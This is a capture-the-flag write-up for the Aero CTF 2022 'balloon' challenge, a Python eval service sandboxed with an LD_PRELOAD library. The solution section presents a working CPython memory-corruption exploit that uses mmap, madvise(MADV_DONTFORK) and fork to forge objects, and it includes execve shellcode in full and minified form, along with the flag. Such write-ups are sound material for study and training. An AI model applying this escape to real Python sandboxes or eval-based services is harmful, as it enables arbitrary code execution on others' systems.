Aero CTF 2022 — balloon
Files
Dockerfile:
FROM python:3.11-rc-slim AS builder
RUN for name in 'ctypes' 'pickle' 'test' 'cffi'; do \
find /usr/local/lib/python3.11/ -name "*${name}*" -exec rm -rf '{}' '+'; \
done
FROM alpine:3.16.1
RUN apk add coreutils
COPY --from=builder /lib/x86_64-linux-gnu /chroot/lib/x86_64-linux-gnu
COPY --from=builder /lib64/ld-linux-x86-64.so.2 /chroot/lib64/ld-linux-x86-64.so.2
COPY --from=builder /usr/lib/x86_64-linux-gnu /chroot/usr/lib/x86_64-linux-gnu
COPY --from=builder /usr/local/lib/python3.11 /chroot/usr/local/lib/python3.11
COPY --from=builder /usr/local/lib/libpython3.11.so.1.0 /chroot/usr/lib/libpython3.11.so.1.0
COPY --from=builder /usr/local/bin/python3.11 /chroot/bin/
COPY preload.so balloon.py flag /chroot/challenge/
RUN chmod 111 /chroot/challenge/flag \
&& chmod 555 /chroot/challenge/preload.so \
&& chmod 444 /chroot/challenge/balloon.py
COPY entrypoint.sh /tmp/entrypoint.sh
RUN chmod 555 /tmp/entrypoint.sh
ENTRYPOINT [ "/tmp/entrypoint.sh" ]
entrypoint.sh:
#!/bin/sh
export LD_PRELOAD=/challenge/preload.so
chroot --userspec=1000:1000 /chroot \
/bin/python3.11 -u /challenge/balloon.py
balloon.py:
#!/usr/bin/env python3
import os
VERY_NICE = 1337
def execute(payload: str) -> object:
try:
return eval(payload)
except Exception as e:
return f'[-] {e}'
def main() -> None:
os.nice(VERY_NICE)
os.write(1, b'[*] Please, input a payload:\n> ')
payload = os.read(0, 512).decode()
os.close(0)
result = execute(payload)
print(result)
os._exit(0)
if __name__ == '__main__':
main()
preload.c:
__attribute__((visibility ("hidden"))) void forbidden() {
write(1, "[-] Security check failed :(\n", 29);
asm (
"mov $0x3c, %rax;"
"syscall;"
);
}
__attribute__((visibility ("hidden"))) void replace_obj(void *ptr, int size) {
for (int i = 2; i < size / sizeof(unsigned long long); i++) {
((unsigned long long *)(ptr))[i] = &forbidden;
}
}
void syscall(int number) {
if (number != 0xba) {
forbidden();
}
asm (
"mov $0xba, %rax;"
"syscall;"
);
}
void system() {
forbidden();
}
void execve() {
forbidden();
}
void fexecve() {
forbidden();
}
void execveat() {
forbidden();
}
void execl() {
forbidden();
}
void execlp() {
forbidden();
}
void execle() {
forbidden();
}
void execv() {
forbidden();
}
void execvp() {
forbidden();
}
void execvpe() {
forbidden();
}
void nice() {
unsigned long long python_base = &syscall - 0x79319a + 0x1c5000;
// io.BufferedReader
replace_obj(python_base + 0x5531a0, 0x1a8);
// io.BufferedWriter
replace_obj(python_base + 0x552e60, 0x1a8);
// memoryview
replace_obj(python_base + 0x559a80, 0x1a8);
// bytearray
replace_obj(python_base + 0x560c20, 0x1a8);
write(1, "[*] Security check initialized\n", 31);
asm (
"mov $1, %rax;"
);
}
Overview
We need to bypass python’s memory checks and do memory corruption.
There are some existing bugs in cpython that works on the latest version:
https://github.com/python/cpython/issues/91153 (will be fixed in Python 3.12)
https://github.com/python/cpython/issues/60198, here is a public exploit
The author tried to fix these bugs by removing memoryview
, bytearray
, io.BufferedReader
and io.BufferedWriter
objects.
Solution
The intended solution is based on mmap and madvise syscalls. There are a useful parameter for madvise()
:
MADV_DONTFORK (since Linux 2.6.16)
Do not make the pages in this range available to the child
after a fork(2). This is useful to prevent copy-on-write
semantics from changing the physical location of a page if
the parent writes to it after a fork(2). (Such page
relocations cause problems for hardware that DMAs into the
page.)
It means that if we’ve set MADV_DONTFORK on a page, this page will not be copied to fork. How to use this?
Create a page using
mmap.mmap()
, callmadvise(MADV_DONTFORK)
on this page.Call
os.fork()
. The page will not exists in child, but the object containing the pointer will be copied. So we have got a bad pointerptr
in child.Allocate a very long list
list
in child, for example 0x1000 elements. The existing Python’s heap are too small for this, so the allocator will callmmap()
to get more space. The address of a new page will be the same asptr
.So
list
andptr
point to the same memory, this is use-after-free vulnerability.Create a fake object type with custom
repr()
function that contains a payload. Then create an instanceobj
of this object.Add
obj
tolist
usingptr
. Then callrepr(list)
.
Example solution:
import os
import time
import mmap
page = mmap.mmap(-1, 0x1000 * 16)
page.madvise(mmap.MADV_DONTFORK)
serialize = lambda x: b''.join(y.to_bytes(8, 'little') for y in x)
if os.fork():
time.sleep(1)
else:
array = [0] * 4096 * 25
page_ptr = id(array) - 0x110940
obj_type = serialize(
[
2, id(type),
0, id(b'') + 32,
33, 1,
] + [page_ptr] * 32
)
obj = serialize(
[
2, id(obj_type) + 32,
0, 1,
]
)
page[:8] = serialize([id(obj) + 32])
path = b'/challenge/flag'
path_ptr = serialize([id(path) + 32])
# a tiny execve shellcode using `path_ptr` in rdi
shellcode = b'\x48\x31\xC0\xB0\x3B\x48\xBF' + path_ptr + b'\x48\x31\xF6\x48\x31\xD2\x48\x31\xC9\x0F\x05'
rwx_page = mmap.mmap(-1, 0x1000 * 8, prot = 7)
rwx_page.write(b'\x90' * 0x1000 * 8)
rwx_page[-len(shellcode):] = shellcode
str(a)
The challenge limits input’s length, so the actual solution is minified.
Example minified solution:
[0 if p.madvise(10)else(i('time').sleep(1)if i('os').fork()else exec(r"s=lambda x:b''.join(y.to_bytes(8,'little')for y in x);a=[0]*4096*25;t=s([2,id(type),0,id(b'')+32,33,1]+[id(a)-0x110940]*32);o=s([2,id(t)+32,0,1]);p[:8]=s([id(o)+32]);e=b'/challenge/flag';c=b'\x48\x31\xC0\xB0\x3B\x48\xBF'+s([id(e)+32])+b'\x48\x31\xF6\x48\x31\xD2\x48\x31\xC9\x0F\x05';w=i('mmap').mmap(-1,0x8000,prot=7);w.write(b'\x90'*0x8000);w[-len(c):]=c;str(a)"))for i in[__import__]for p in[i('mmap').mmap(-1,0x1000*16)]]
Flag
Aero{RCE_1n_Pyth0n_1s_d4NG3r0uS_ev3Ry_t1m3}